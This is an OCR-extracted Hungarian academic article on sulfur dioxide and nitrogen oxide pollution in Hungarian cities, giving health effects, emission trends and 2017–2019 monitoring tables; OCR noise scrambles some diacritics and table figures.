sen és kiilon-kiilon is tobbé-kevésbé igyekeznek megoldasokat talalni ra. Azonban
a megfelelé megoldasok keresésekor, valamint a jelenlegi megoldasok alkalma-
zasa soran szamos tényezét kell figyelembe venni és folyamatosan vizsgalni, igy
az adott technoldégia vagy intézkedés — gazdasagi, politikai és tarsadalmi befo-
lyasa mellett — a bioszféra elemeire gyakorolt hatasat is. Figyelemfelhivasként egy
cikksorozatban a teljesség igénye nélkiil kivanom bemutatni a hazankra jellemzé
levegbszennyez6 anyagokat a kiilonb6z6 egészségiigyi hatasaikon keresztiil, vala-
mint el6fordulasaiknak koncentraciojat egyes varosaink levegéjében.

Kulcsszavak: levegGszennyezés, egészségiigyi hatarértékek, koncentracio, kén-dioxid,
nitrogén-oxid, nitrogén-dioxid, nitrogén-monoxid.

Since the wake of the two-staged industrial revolution of the 19" century, the world's
athmospheric pollution grows exponentially. To date, whole studies researching
this problem, and most countries of the world together and alone, try to find
solutions for it. However, while searching for the proper solutions, and during the
application of the current solutions, some factors must be taken into account and be
constantly examined, such as the effect of the given technology or measure on the
elements of the biosphere (besides their economic, political and social influence).
In order to call attention to the problem, | wish to introduce in a series of articles

" Nemzeti Kozszolgélati Egyetem, Katonai Miszaki Doktori Iskola, doktorandusz, e-mail: freevick@gmail.com;
ORCID: https://orcid.org/0000-0002-0432-5385
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the air polluting materials regarding our country, their sanitary impact, and their
concentracion level in some of our cities.

Keywords: air pollution, sanitary limits, concentration, sulfur-dioxide, nitrogene-
oxide, nitrogene-dioxide, nitrogene-monoxide

Bevezetés

Az emberiség torténelme — a haboruk mellett — a latvanyos fejl6dés sorozatabdl
all. A tiiz felfedezésétél kezdve, a kerék feltalalasan at az ipari forradalomig (amely
manapsag is tart) folyamatosan sziilettek meg a mindennapi életiinket megkénnyits
technologiak. Azonban az elmult 150-200 év folyaman azt is felfedezték, hogy az ujfajta
technoldgidk némelyikének ara van: ellendrizetlenil hasznalva képesek komoly kart
tenni a kornyezetiinkben, ezaltal kdzvetve negativan hatnak a mi és az utédaink fizikai,
szellemi egészségére is.

Globalis problémava valt az exponencialisan novekvd légszennyezettség,
amellyel egyre tobb tanulmany, illetve kutatas foglalkozik, hiszen ez a kdrnyezeti
elemeink min&ségében olyan jelent8s romlast eredményezett, amely mar kihat
az egészségiinkre, a gazdasagunkra, tarsadalmunkra, ezaltal politikai vitakat is
szil. Ennek megoldasa 0sszefogasra készteti a nemzeteket, illetve az orszagokat,
figyelembe véve a gazdasagi, politikai, tarsadalmi érdekeket és magat a bioszférara
gyakorolt hatast is.

Mindezen kérddjelek ellenére mara szinte az dsszes orszag egyetért abban, hogy
valtoztatasokra van sziikség a globalis klimapolitikat illetéen, ugyanis a globalis
felmelegedés negativ hatdsai mindenhova begy(ir(iztek, elég csak a braziliai erd6tu-
zekre gondolni, amelyek évek éta folyamatos problémaként vannak jelen nemcsak
a dél-amerikai kontinens, hanem a vilag tobbi részének lakdi szdmara is.? De a leg-
frissebb hirek alapjan Oroszorszagot is megemlithetjlk, amelynek felségteriiletén &t
Uj szigetet fedeztek fel, és bar mas korilmények kozott ez oromteli felfedezésnek
szamitana, mégsem az, mivel ezek a szigetek az addig jelen lévd ho- és jégtakard
eltlinésével valtak lathatova.?

Bar Magyarorszag mint az Europai Unid tagja részt vett a 2019. junius 20-an
0sszehivott unids klimakonferencian, amelyen a tagallamok célként tlizték ki azt, hogy
2050-re klimasemlegessé (zéré kozeli szén-dioxid-kibocsatas) tegyék Europat, gazdasagi
okokra hivatkozva végiil Csehorszaggal és Lengyelorszaggal kozdsen megvétozta azt,
mondvan, hogy 2030-ig egyébként is ki van tlizve egy ehhez hasonlé klimastratégia.*

2 Ujabb tébb szaz helyen ég a brazil éserds. Magyar Tavirati Iroda, 2019. Elérhets: www.portfolio.hu/gazda-
sag/20190824/ujabb-tobb-szaz-helyen-eg-a-brazil-oserdo-335201 (A letsltés datuma: 2019. 09. 15.)

3 Uj szigeteket azonositottak Oroszorszéghan. National Geographic, 2019. Elérhetd: https://ng.hu/tudo-
many/2019/09/02/uj-szigeteket-azonositottak-oroszorszagban/ (A letéltés datuma: 2019. 09. 15.)
Kérnyezetvédelmi Tandcs. 2019. junius 26. Eurdpai Unié Tandcsa. Elérhet6: www.consilium.europa.eu/
hu/meetings/env/2019/06/26/ (A letdltés datuma: 2019. 09. 15.); Nem sziiletett megéllapodas a 2050-es
klimasemlegességi célkitiizésrél az EU-csticson. Magyar Tavirati Iroda, 2019. Elérhet6: www.hirado.hu/kul-
fold/kulpolitika/cikk/2019/06/21/nem-szuletett-megallapodas-a-2050-es-klimasemlegessegi-celkituzes-
rol-az-eu-csucson (A letoltés datuma: 2019. 09. 15.)
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Pedig — mint ahogy arrél az el6z6 cikkemben® is igyekeztem beszamolni - az europai
unios figyelmeztetések ellenére Magyarorszag légszennyezettségi szintje tovabbra is
kritikus eredményeket mutat.

Mar 1998-ban — egy Magyarorszagrol késziilt tanulmanyban — olyan kiilonbdz6
elemzéseket végeztek, amelyek a varosi és vidéki népességeltarto képességen tul
a kozegészséget, az épit6anyagok és a mez6gazdasagi novények sériilékenységét is
vizsgalta. Az eredmények alapjan 0sszefliggést fedeztek fel a levegészennyezettség
csOkkenése és a krénikus légz6szervi megbetegedések ritkulasa kozott, tovabba
kimutattak, hogy a tisztabb leveg6 aranyosan kisebb mértékben karositja az épliletek
anyagat is, igy éves szinten —az akkori arviszonylatban — csak Budapesten a feltjitasokra
kortlbelil 30-35 millié dollarral kevesebb dsszeget kellett forditani, amelyb&l még
Magyarorszag gazdag megujulé energiaforrasainak (viz, nap, geotermikus héenergia)
kiaknazasaval tovabbi koltségeket is le lehetett volna faragni.®

Figyelemfelhivasként egy cikksorozatban a teljesség igénye nélkiil kivanom
bemutatni a hazankra jellemz6 leveg&szennyezd anyagokat a kiilonboz6 egészségligyi
leveg6jében. Jelen cikkben els6ként a kén-dioxidot (SO,) és nitrogén-oxid vegyiileteket
(NO,, NO,, NO) veszem gorcsé ala.

Hazank légszennyezettsége

Magyarorszag levegémindségét karosan befolyasold szennyez6anyagok — az dssze-
tett vegyipar, az 6szvégi, téli hénapokban rosszul megvalasztott flitési technoldgiak
és az eltérd foldrajzi jellegzetességek miatt — évszakonként és varosonként eltérd
maodon és mértékben terhelik hazank légkorét. Ezt bizonyitja az is, hogy az éves karo-
sanyag-kibocsatasnak kimagaslé méréseredményei még mindig ennek az idészaknak
(6sz, tél) a fiitési szezonjaban jellemzéek, amelyek orszagunk egyes elmaradottabb
vidékein mérhetdk a leginkabb. Ennek egyik oka a tavf(ités kiépitésének hianya és/vagy
a legszegényebbek szamara magas foldgazdijak miatt alkalmazott rossz fiitési techno-
logia és flitéanyag. A nem megfeleld, sok esetben mérgezé (rakkeltd) anyagok, mint
a gumi, a szemét, a mlianyagalapu hulladék f(it6anyagként valé hasznositasa, valamint
a forgalom szempontjabol tulterhelt varosok autéforgalmabol eredd szén-monoxid
és egyéb mérgezd anyagoknak a leveg6be jutasa és— Magyarorszag hegységekkel kori-
l6lelt foldrajzi paramétereinek kdszonhet&en — bennmaradasa terheli jelent6sen hazank
levegmindségét. A légszennyezés koncentralodik és hatvanyozddik hazénk éghajlatara
jellemzd tartos hideg, illetve kddos, paras id6jarasa esetén, amikor is a nehéz hideg,
illetve nedves levegd leszoritja (inverzid), és talajkozelben tartja a leveg6be kibocsatott
anyagokat, tobbek kozott — az ebben a tanulmanyban is taglalt — kén-dioxidot (SO,),
szén-monoxidot (CO), nitrogén-oxidokat (NO,) és egyes vegyileteit (NO,, NO),
6zont (O,), ammoniat (NH,), benzolt (C¢H,), valamint kis méreti szallo port (PM,,

5 Frigy Eva Gy.: Eltetd levegd — A levegd mindségével kapcsolatos problémék osszefoglaldsa. Hadmérnok,
14. (2019), 3. 21-34.

& Kristin Aunan - Patzay Gyorgy — H. Asbjern Aaheim — Martin H. Seip: Health and environmental benefits from air
pollution reductions in Hungary. Norway, Oslo: The Science of the Total Environment, 212. (1998), 2-3. 245-268.
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PM2,5). Ugyan az elmult évtizedek soran a megszoritasoknak és az uj technoldgiaknak
koszonhetden egyes szennyez8k mértékét sikerilt visszaszoritani, de e tényez6k miatt
hazank tobb telepiilésén 6sszeadddnak a levegbterhelési faktorok, amelyek ezaltal
tullépik az EU altal megszabott hatarértékeket. Ilyen leveg6szennyezettséggel terhelt
varosok példaul Budapest, Miskolc, Szeged, Nyiregyhaza és Dorog.’

A cikkben targyalt légszennyez6 anyagok el&forduldsat az Orszagos Légszennyezettségi
Mérshalozat (OLM)? altal kozolt adatok alapjan az elébb emlitett varosokra vonatkozdan
vizsgaltam az elmult harom év (2017-t6l 2019-ig) intervallumaban. Minden véarosban
az ott miikod6é mérdallomas altal mért adatokat dolgoztam fel. Budapest kivételével,
ahol harom méréallomas adatait vettem alapul, a tobbi varosbol mindig csak egy (minél
tobb légszennyez6 anyagot kimutatd) méréallomason mért értékeket elemeztem.

Magyarorszag kén-dioxid (SO,) -kibocsatasanak alakulasa

A kén-dioxid mintegy 80%-a természetes uton a vulkanok, 6cedanok és erdétiizek
altal kerdl a légkorbe, amely jobban és egyenletesebben oszlik el, mint a fennma-
radd 20%-nyi mesterséges (antropogén) forrasu kibocsatas. Jellemz8en a fosszilis
energiahordozok (példaul erémiivekben, haztartasokban szén és olaj) égetése, illetve
az ipari gyartasi folyamat (példaul kénsavgyartas, kohaszat, ércelékészités, elemi kén
feldolgozasa, cellulozgyartas, valamint banyaszat) soran koncentralodik az ipari ter(-
letek, varosok felett. Vizzel érintkezve kénessav, majd oxigénnel keveredve kénsav jon
létre, amely savas es6t (savas llepedés) okoz, amelynek erdépusztitod hatasa, tavak
savasodasa (halallomany és puhatest( allatok pusztuldsa) révén jelentds mértékben
befolyasolja az 6koszisztémat. Tovabba az épiiletek, miemlékek allagromlasat okozza.
Az atmoszféraban szulfatta alakul at, amely az aeroszolrészecskéket meghatarozé
masodlagos (szekunder) szennyezéanyag. (A kés6bb megemlitend6é London-tipusu
flstkod f6 Gsszetevdje is a kén-dioxid.)®

A levegébe jutd jellemz6 szagu, szintelen, mérgezd kén-dioxid — irritélva az orr-
nyalkahartyat, a légcsovet, a tiid6t és a szemet — elsésorban légz6szervi megbetege-
désekhez (példaul asztma, sulyos esetben reflexes gégegorces, légzésbénulas), hosszu
tavu kitettség mellett pedig krénikus hérghuruthoz vezet.

A Hermann Ott6 Intézet 2016-ban kiadott Magyarorszag kérnyezeti dllapota
2015 cimi jelentésében Magyarorszag kén-dioxid (SO,) -kibocsatasanak 2001 és 2014
kozotti alakulasarol készitett grafikonjan (1. abra) jol lathatd, hogy 2001 és 2004
kozott a széneré6mUivek miatt rendkiviil magas volt a levegd kén-dioxid-koncentracidja,
amit aztan a 2005-06s évtdl kezdve sikerdilt jelentSsen visszaszoritani az energetikai
szektor — mar emlitett — megujulasat kovetden:™

7 Riesz Lorant (szerk.): Magyarorszég kérnyezeti allapota 2015. Budapest, Hermann Ottd Intézet, 2016.; Holes
Annamaria (szerk.): Magyarorszag kérnyezeti éllapota 2017. Budapest, Hermann Ottd Intézet, 2018.

8 Orszégos Légszennyezettségi Méréhalézat. Foldmiivelésiigyi Minisztérium. Elérhets: www.levegominoseg.hu/
automata-merohalozat (A letéltés datuma: 2020. 03. 01.)

9 Anda Angéla: Levegdtisztasag védelme. 2011. ElérhetS: www.tankonyvtar.hu/hu/tartalom/tamop425/0032_Le-
vegotisztasagvedelem/adatok.html (A letéltés datuma: 2019. 02. 13.)

1 Rieszi.m. (7.1j.)
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1. 4bra
Magyarorszag SO,-kibocsatasanak 20017 és 2014 kézétti alakuldsa szektorokra bontva.
Forras: Rieszi.m. (7. j.) 36.

A Hermann Ott6 Intézet 2018-ban kiadott Magyarorszag kbrnyezeti allapota 2017 cim(i
jelentése alapjan Magyarorszag kén-dioxid (SO,) kibocsatasa 2006 és 2016 kdzott mar
jellemzéen a lakossagi szektorra koncentralodik (2. abra), ugyanakkor elmondhato,
hogy ennek mértéke 2013-tol folyamatos csékkenést mutat:™

SO,
40
35 :
" Catn al . i ———
23 B B T E Bl
£ 20 BE B E B TE =
15 = WE o : e 3
10 i ' : : i
] L5 =4 1L s i | 3] =]
. 55 i =) L .
2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016
= Erémiivek mlpar = Kozlekedés m Mezégazdasdag = Hulladékkezelés = Lakossag
2. 4bra
Magyarorszag SO, kibocsatasanak 2006 és 2016 kozotti alakulasa szektorokra bontva.
Forras: Holes i. m. (7.1j.) 36.)
" Holesi.m. (7.1j.)
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A 2017. januar 1-jét6l 2019. december 31-ig tartd vizsgalt id6szakban — bar jéval az egész-
ségligyi hatarértéken (24 6ras viszonylatban 125 pg/m?3)™ beliil maradva - az OLM®™
altal nyilvantartott altalam vizsgalt varosok mérési adatai szerint fé6ként a téli, illetve
a fiitési szezonban mértek magasabb kén-dioxid (SO,) -koncentraciét. Ennek oka
lehet tovabbra is a mar emlitett rossz flitési technoldgiak. A targyalt intervallumban
és varosok kozll a legmagasabb napi értéket Miskolcon mérték 2017. januar végén,
egymast kévetd harom napon (38,2; 44,5 és 44,2). Ennek ellenére a hdnap tébbi
napjan mért adatok miatt a havi atlag nem érte el a 20 pg/m>-t sem (1. tablazat),
igy a tobbi varoshoz képest a lenti diagrambol (3. dbra) Szeged 2018. februari havi
atlagértéke (24,8) tlinik kiemelkedének leginkabb.

1. téblazat
Magyarorszag - altalam vizsgalt - mérééallomésainak 2017. és 2018. évi kén-dioxid (SO,) havi étlagértékei.
Forras: Orszagos Légszennyezettségi Méréhaldzat i. m. (8. |j.) adatai alapjan a szerz§ szerkesztése

SO,
Budapest, . .
Budapest, Budapest, Miskolc, |Nyiregy- |Szeged2,
o .| Pest- ... ' | Dorog s P .
Gilice tér |, . .. | Teleki tér Buzatér |haza Roézsa u.
hidegkut
Hatarértékek |pg/m? pg/m? pg/m? pg/m? pg/m? pg/m? pg/m?

2017. januar

2017. februar 2,90

2017. marcius
2017 aprilis 2,63

2017. méjus 3,22 7,00
2017, junius 4,07 4,66 2,99
2017, julius 4,26 2,84 7,33

2017. augusztus | 2,92 3,29 4,23 9,66
2017. szeptember | 2,80 3,50

2017. oktober  [2,67 4,18 8,76
2017. november [2,68 3,63 485 699  [332 9,06

327 8,80
548 3,60

4,76 2,80 3,34 3,69

2017. december
2018. januar
2018. februar
2018. marcius

2018. aprilis 4,26
2018. majus

2018 junius 377 13,99
2018 julius 4,33

24/2011. (1. 14.) VM rendelet a leveg6terheltségi szint hatarértékeirdl és a helyhez kétott légszennyezd pontfor-
rasok kibocsatasi hatarértékeirél.
3 Orszdgos Légszennyezettségi Méréhalozat. i. m. (8. 1j.)
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SO,
Budapest, Budapest, Budapest, Miskolc, |Nyiregy- |Szeged?2,
.. .. | Pest- ... ' | Dorog s h .
Gilice tér |, . .| Teleki tér Buzatér |haza Rézsau.
hidegkut
Hatarértékek |pg/m? pg/m? pg/m? pg/m? pg/m? pg/m? pg/m?
2018. augusztus | 2,12 2,55 4,44 5,29
2018. szepterber 2,42 4,82 4,63

2018. oktober 3,28 4,31 5,21
2018. november 4,32 3,62 4,62 5,76

2018. december 4,64

2019. januar

2019. februdr 10,45

2019. marcius 8,94
365  |9,73

2019. aprilis

2019. majus
2019. junius 2,53 10,11
2019. julius 2,97

2019. augusztus
2019. szeptember
2019. oktdber
2019. november
2019. december

9,45

30,00
25,00
50,60 Budapest, Gilice tér

' Budapest, Pesthidegkut
. Budapest, Teleki tér
10,00 Borog

>,00 = Miskolc, Biza tér

0,00 = Nyiregyhaza

,\: Q(\\j\ . Szeged 2, Rdzsa utca
S

3. abra

Magyarorszag - altalam vizsgalt —- méréallomasaira vonatkozd 2077-2019. éves intervallumban mért
kén-dioxid (SO,) havi atlagértékei.
Forras: Orszégos Légszennyezettségi Méréhéldzat i. m. (8. |j.) adatai alapjan a szerzd szerkesztése
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Magyarorszag nitrogén-oxidok (NO,) kibocsatasanak alakulasa

Alégkort 78%-ban stabil nitrogén gaz (N2) alkotja, amelybél a nitrogén-oxidok (NO,),
ugymint nitrogén-monoxid (NO), nitrogén-dioxid (NO,), valamint dinitrogén-oxid (N20)
keletkezhetnek: a) természetes uton legnagyobb mennyiségben a nitrogénmegkots
baktériumok altal keriilnek a légkorbe, illetve villamlas és erdétiizek hatasara; b) emberi
tevékenység altal mesterséges (antropogén) modon — a kdzlekedésben a kipufogdcsove-
ken keresztill az izemanyag-, az energiatermelésben a fosszilis tiizel6anyagok elégetése,
illetve az erd6égetés soran, tovabba a vegyipari, illetve a nitrogénml(itragya- és salét-
romsav-gyartas, valamint m(itragyazas folyaman —h& hatasara oxidacioval jonnek létre.

Hazank levegdjében is légszennyezdként mindhdaromféle nitrogén-oxid-vegyiilet
kimutathatd.

Bar a nitrogén-monoxid (NO) az él6 szervezetben is megtalalhato, azonban tul
magas koncentracioban kitagitva a vérereket elsésorban szemk&téhartya-gyulladast
és léguti nyalkahartya irritaciét okoz, valamint 200 mg/m? folotti koncentracioban
a tudé szoveteit is roncsolja. Az ipari orszagokban a nitrogén-oxid-kibocsatas 50%-at
a haztartasi, illetve az ipari tuizelés, 40%-at a szallitdipar (kozlekedés) és csak 10%-
at a természetes forrasok és a vegyipar teszik ki. Jelent8s szerepe van a fotokémiai
szmog, savas esd és az 6zonlyuk kialakulasaban. A nitrogén-monoxid — a ndvényzet
altal kibocsatott és a kipufogdgdzok szén-monoxidjabdl, illetve szénhidrogénjeibél
kialakuld — szerves gyokokkel oxidalédva az emberi szervezetre rendkiviil artalmas
(nagyon reakcioképes, toményen vorésesbarna szind, levegénél nehezebb) nitro-
gén-dioxid (NO,) gazt eredményez, amely a napsugarzas, illetve hé hatasara visz-
szabomlik nitrogén-monoxidda (NO) és atomos oxigénné (O). Ez az atomos oxigén
alégkorben lévé oxigén (O,) -molekulakkal egyesiilve 6zonna (O,) alakul &t. Oxigénnel
és vizzel vegyiilve a nitrogén-dioxid salétromsavat eredményez, amely (a kénsavhoz
hasonloan) savas esét (savas tilepedés) okoz. (A késébb emlitett Los Angeles-tipus,
fotokémiai szmog f6 6sszetevéje a nitrogén-dioxid.)™

A Hermann Otto6 Intézet 2016-ban kiadott Magyarorszag kérnyezeti allapota
2015 cimdi jelentésében Magyarorszag nitrogén-oxid (NO,) -kibocsatasanak 2005
és 2014 kozotti alakulasarol készitett grafikonja (4. abra) szerint ennek a levegészeny-
nyez6ének rendkivil magas a leveg6terhelése, amelynek jelent6s hanyadat a kozle-
kedés okozza. Ugyanakkor az is latszik, hogy az emlitett szektorban — a kiiléonb6z6
leveg6mindség-védelmi szabalyozasok (példaul gépjarmiforgalom-korlatozasok
és tlizgyujtasi tilalom) bevezetésével — évrél évre folyamatos csokkend tendenciat
jelez a kibocsatas mértéke:™

A Hermann Ott6 Intézet 2018-ban kiadott Magyarorszag kérnyezetiallapota 2017
cim(i jelentése szerint Magyarorszag nitrogén-oxid (NO,) -kibocsatasanak alakulasaban
tovabbra is a kozlekedés szektora jatszik nagy szerepet (5. abra). Hazank légkorébe

. ses

ben és — a KSH kornyezeti adatai alapjan™ — a 2017-ben mért valamivel magasabb

“ Andai.m. (9.1j.)

> Rieszi.m. (7.1}.)

6 Tablak (STADAT) — Id6soros éves adatok — Kornyezet. Kézponti Statisztikai Hivatal. Elérhetd: www.ksh.hu/sta-
dat_eves_5 (A letoltés datuma: 2019. 06. 21.)
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eredmények megtorték. Sajnos a koncentracié mérséklédése tovabbra sem kielégitd
meérték(, hiszen rendkivdl lassu a régi — f6ként dizel — autok forgalombdl valé kivo-
nasanak és az elektromos gépjarmivek bevezetésének folyamata:"”

kt

17

180,00

160,00 -

140,00 - u Egyéb

120,00 » Hulladékkezelés

100,00 m Mez6gazdasag
80,00 m Lakossag
60,00 - u Kozlekedés
40,00 u Ipar

20,00 ® Erédmivek

0,00 -
2005 2006 2007 2008 2009 2010 2011 2012 2013 2014

4. abra
Magyarorszag NO,-kibocsatasanak 2005 és 2014 kozétti alakuldsa szektorokra bontva.
Forras: Rieszi.m. (7. j.) 37.

2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016

mErémlvek mlpar m Kozlekedés = Mezégazdasag = Hulladékkezelés = Lakossag

5.3bra
Magyarorszag NO, kibocsatasanak 2006 és 2016 kéz6tti alakuldsa szektorokra bontva.
Forras: Holes i. m. (7.1}.) 37.

Holesi.m. (7.1}.)
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Az altalam vizsgalt varosok OLM™ altal 6sszegyijtott mérési adatai alapjan megint csak
a targyalt évek f(itési szezonja soran Budapesten mérték a legkiugrébb napi NO,-ér-
tékeket (2017. december: 303,8 pg/m?; 2018. december: 523,1 pg/m?; 2019. februar:
298,2 ug/m?) (2. tablazat). Az emlitett varosokban mért csticsértékek megmutatjak,
hogy ugyan 2019. évre mérsékl6dott a nitrogén-oxidok (NO,) kibocsatasanak mér-
téke, azonban még igy is meghaladta a 150 pg/m? 24 6ras egészségligyi hatarértéket.
A havi atlagértékeket tekintve (6. abra) az is jol latszik, hogy bar nem Miskolcon
meérték a legkiemelked6bb napi értékeket, mégis a vizsgalt intervallumban - Budapest
mellett — az egészségligyi hatarértéket tartdsan meghaladé magas NO,-koncentracio
végig kimutathato volt. Budapesten minden évben akadt egy-egy olyan id&szak, amikor
négy-6t egymast kdvetd napon at mértek 150 pg/m?3-nal magasabb NO,-értékeket:
2017 és 2018 évek oktoberében, illetve 2019 év februdrjaban. Ez utobbi idészakban
Nyiregyhazan is hat napon keresztiil, Miskolcon pedig 2017 év januarjaban 6t napon
keresztil fordult el magasabb érték (2. tablazat).

2. tablazat
Magyarorszag — altalam vizsgalt — méréallomasainak 2017 és 2019 kbz6tt mért 24 dras egészségligyi
hatarértéket meghalado nitrogén-oxidok (NO,) napi értékeirdl készitett kimutatasmetszet.
Forras: Orszdgos Légszennyezettségi Méréhéldzat i. m. (8. |j.) adatai alapjan a szerz§ szerkesztése

NO,

Datum Budapest, g::talﬁ;:t’_ Budapest, Doro Miskolc, | Nyir- Szeged 2,
Gilice tér kat & | Teleki tér g Buza tér | egyhaza | Rézsau.

Hatarértékek 150 pg/m?| 150 pg/m? 1m530 ne/ 150 pg/m? 1m53° ne/ ::30 ne/ 150 pg/m?

2017.01.23. |77,8 68 12,7 48,3

2017.01. 24.

2017.01. 25.

2017.01. 26.

2017.10.16. |93/
2017.10.17.  |97,8
2017.10.18. |62

2017.10.19. |[88,7
2017.10. 20.
2017.12. 20.
2017.12. 21.
2018.10.15. |73,5
2018.10.16. [64,5
2018.10.17. |67,7

91,6 43,8

2018.10.18. |131,2

2018.10.19. [177,3

'® Orszdgos Légszennyezettségi Méréhaldzat i. m. (8. j.)
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NO,
Datum Budapest, g::ta}:?::t'. Budapest, Doro Miskolc, | Nyir- Szeged 2,
Gilice tér kit 8" | Teleki tér g Buza tér | egyhaza | Rdzsa u.
Hatarértékek | 150 pg/m? (150 pg/m® | POPE/ 450 ug/me| 15018/ | OB/ 1450 g/
2018.12.17.
2018.12.18.
2018.12.19.
2019. 02. 07.
2019.02.08.
2019. 02. 15.
2019. 02. 16.
2019. 02.17.
2019.02.18.
2019. 02.19.
2019.02. 20.
140,00
120,00
Budapest, Gilice tér
100,00
Budapest, Pesthidegkut
80,00
Budapest, Teleki tér
60,00 Dorog
40,00 = Miskolc, BGza tér
20,00 ——— Nyiregyhaza
0,00 Szeged 2, Rézsa utca
Q
@
A- '\/'\
S

6. abra

Magyarorszag - altalam vizsgalt —- méréallomasaira vonatkozd 2077-2019. éves intervallumban mért
nitrogén-oxidok (NO,) havi atlagértékei.
Forras: Orszégos Légszennyezettségi Méréhalozat i. m. (8. 1j.) alapjan a szerz§ szerkesztése

Atargyalt intervallumban a nitrogén-oxidok (NO,) csticsértékeinek megfelel6en ugyan-
azokon a napokon és ugyancsak Budapesten mérték a legmagasabb nitrogén-monoxid
(NO) napi értékeket is (2017. december: 157,3 pg/m?; 2018. december: 272,1 ug/m?;
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2019. februar: 136,8 pg/m3), amelyek jocskan meghaladtak a 30 pg/m? napi 8 6ras
egészségligyi hatarértéket (3. tablazat).™

Mindharom év flitési szezonjaban leginkabb Miskolcon, de Budapesten is tobbszor
fordult els, hogy az adott hénap 65-80%-aban 30 pg/m? f6lott volt a levegé nitro-
gén-monoxid (NO) -koncentracidja. A vizsgalt években tébb olyan idszak volt, amikor
négy vagy annal tobb egymast kdvetd napon keresztiil fennallt a 30 pg/m? napi 8 6ras
egészségligyi hatarértéket meghalado nitrogén-monoxid (NO) -érték (4. tablazat).
2017 oktdéberében (12 nap) és 2019. oktdber (11 nap) és november (14 nap) honapjaban
Miskolcon volt a leghosszabb ilyen idészak, 2018 oktéber (16 nap), illetve november
(15 nap) honapjaban pedig Budapesten (5. tablazat).

3. tablazat

Magyarorszag - altalam vizsgalt — méréallomasainak 2017 és 2019 kéz6tt mért 8 ras egészségligyi
hatérértéket meghalado nitrogén-monoxid (NO) napi értékeirél készitett kimutatasmetszet.
Forras: Orszagos Légszennyezettségi Méréhaldzat i. m. (8. |j.) alapjan a szerz6 szerkesztése

NO

Budapest, Budapest, Miskolc, |Nyiregy- Szeged

Pest- ... '| Dorog s : 2, Rézsa
hidegkut Teleki tér Buzatér |haza "

Hatarértékek |30 pg/m? |30 pg/m?® |30 ug/m?| 30 pg/m?® (30 pg/m> |30 pg/m’ |30 pg/m?

Budapest,

Datum Gilice tér

2017.12.17._[19,1 29,3 63 217 ]
2017.12.18. 46,9 45 6,2 5.2

2017.12.19. 12,7 19,5
2017.12. 20. 37,3 8,6
2017.12.21. 40,4 26,4 23
2017.12.22. 256
2018.12.16. 32 11,4 97

19

2018.12.17.
2018.12.18.

61,9

79,7 16,8

2018.12.19. R 35,6 6,9
2018.12.20. |83
2018.12.21. [147 34,9 48,4 15,1 5,5

2018.12.22.
2019. 02. 05.

6,4 40,3 36,9 12,5 6,5
46,7 1,5
2019. 02. 06. 12,6 1,5
2019. 02. 07. 20,7 10,2
2019.02.08. 69,5 11,5
2019.02.15. 63,8 82,6 23,8
2019.02.16. 45,9 85,1 11,2

47,2

2019.02.17. 42,8 26,5
2019. 02.18. 71
2019.02.19. 54,1

2019.02. 20.

" Uo.
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4. tablazat
Magyarorszag - altalam vizsgalt — varosainak 2017 és 2019 k6z6tt mért 8 dras egészségligyi hatarértéket

Forras: Orszégos Légszennyezettségi Méréhalozat i. m. (8. 1j.) alapjan a szerz§ szerkesztése

Hénapok
01. [02. [03. [04. [05. [06. [07. [o8. [09. [10. [11. [12.
Budapest 13 [14 o |1 o Jo Jo [1 [6 |15 [10 [16
- [Dorog 2 Jo o Jo Jo Jo Jo Jo Jo Jo [1 o
S [Miskolc 21 [ [3 [2 [o Jo Jo [n [ [220230
™ INyiregyhdza (4 [4 (3 [1 Jo Jo Jo Jo Jo 1 |5 |3
Szeged o o 1 Jo Jo Jo Jo fo Jo Jo Jo |t
Budapest 14 [4 [3 Jo o Jo Jo Jo |s 16
« | Dorog o o Jo Jo o Jo o Jo Jo Jo Jo Jo
S [Miskolc 20n [12 4 Jo |1 Jo Jo |4
™ INyiregyhaza |5 o o [2 Jo |o Jo o [2 [13 [11 |4
Szeged 0o [o Jo Jo o Jo Jo Jo Jo |1 |1 Jo
Budapest 6 14 |6 0 0 0 0 0 2 18 |17 |14
o | Dorog 0o o Jo Jo [o Jo Jo o Jo Jo [z |2
S [Miskolc 14 208 |3 |6 [o o Jo [0 |252322
™ [Nyiregyhaza [3 |10 [5 [0 Jo [o [o Jo [1 [n |6 |6
Szeged o [2 Jo Jo o Jo Jo Jo Jo |6 |1 Jo
5. tablazat

Magyarorszag - altalam vizsgalt — varosainak 2017 és 2019 k6z6tt 4 vagy tobb eqymast kévetd napon mért

Forras: Orszdgos Légszennyezettségi Méréhélézat i. m. (8. lj.) alapjan20 a szerz§ szerkesztése

Budapest Miskolc Nyiregyhaza
idészak §' idészak id6szak §'
2017.01. 01-2017. 01. O5. 2017. 01.18-2017. 01. 21.

2017.01.29-2017. 02. 01.
2017.02. 03-2017. 02. 07.
2017.03. 06-2017. 03. 09.
2017.09. 25-2017. 09. 29.

g
4
2017.01. 23-2017. 01. 27. 5
4
5
4
5

2017.09.28-2017.10.03. |6
2017.10. 15-2017.10. 21.

2017.

2017.10.13-2017.10. 20. |8 |

2017.11.04-2017.11.10.
2017.11.14-2017.11.18.

2017.11. 27-2017.12. 02.
2017.12.04-2017.12. 10.
2017.12.12-2017.12.16.

vi|N|o|uv [

2 Orszagos Légszennyezettségi Méréhalozat i. m. (8. 1j.)
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Budapest

Miskolc

Nyiregyhaza

id6szak

id6szak

nap

2017.

2017.12.17-2017.12. 22.

2017.12.18-2017.12. 22.

2017.12. 25-2017.12. 28.

2017.12. 26-2017.12. 29.

2018. 01. 05-2018. 01.10.

2018.01. 06-2018. 01. 12.

id6szak

nap

2018.01.25-2018. 01. 29.
2018.02.14-2018. 02.17.
2018.03. 05-2018. 03.10.
2018.10.25-2018.10. 28.
2018.10. 30-2018. 11. 02.
2018.11. 04-2018. 11. 10.
2018.11.12-2018. 11.16.
2018.11.20-2018. 11. 23.
2018.12.03-2018.12. 08.
2018.12.16-2018.12.22. |7 [2018.12.14-2018.12.19.
2018.12.25-2018.12. 31.
2019. 01.16-2019. 01.19.
2019. 02.05-2019.02.08. |4 [2019. 02. 11-2019. 02. 17.
2019.02.15-2019.02.19. |5 [2019. 02.19-2019. 02. 22.
2019. 03. 21-2019. 03. 24. 2019. 02. 25-2019. 02. 28.
2019.10. 01-2019. 10. 04.

2018.10.10-2018.10. 13.
2018.11.02-2018.711.09. |8 |

2018.

2018.12.05-2018. 12. 09.

(9]

2019. 02.13-2019. 02. 20. |8 |

Al NN O O[NNI MDY DU

2019.10.12-2019.10.15. | 4

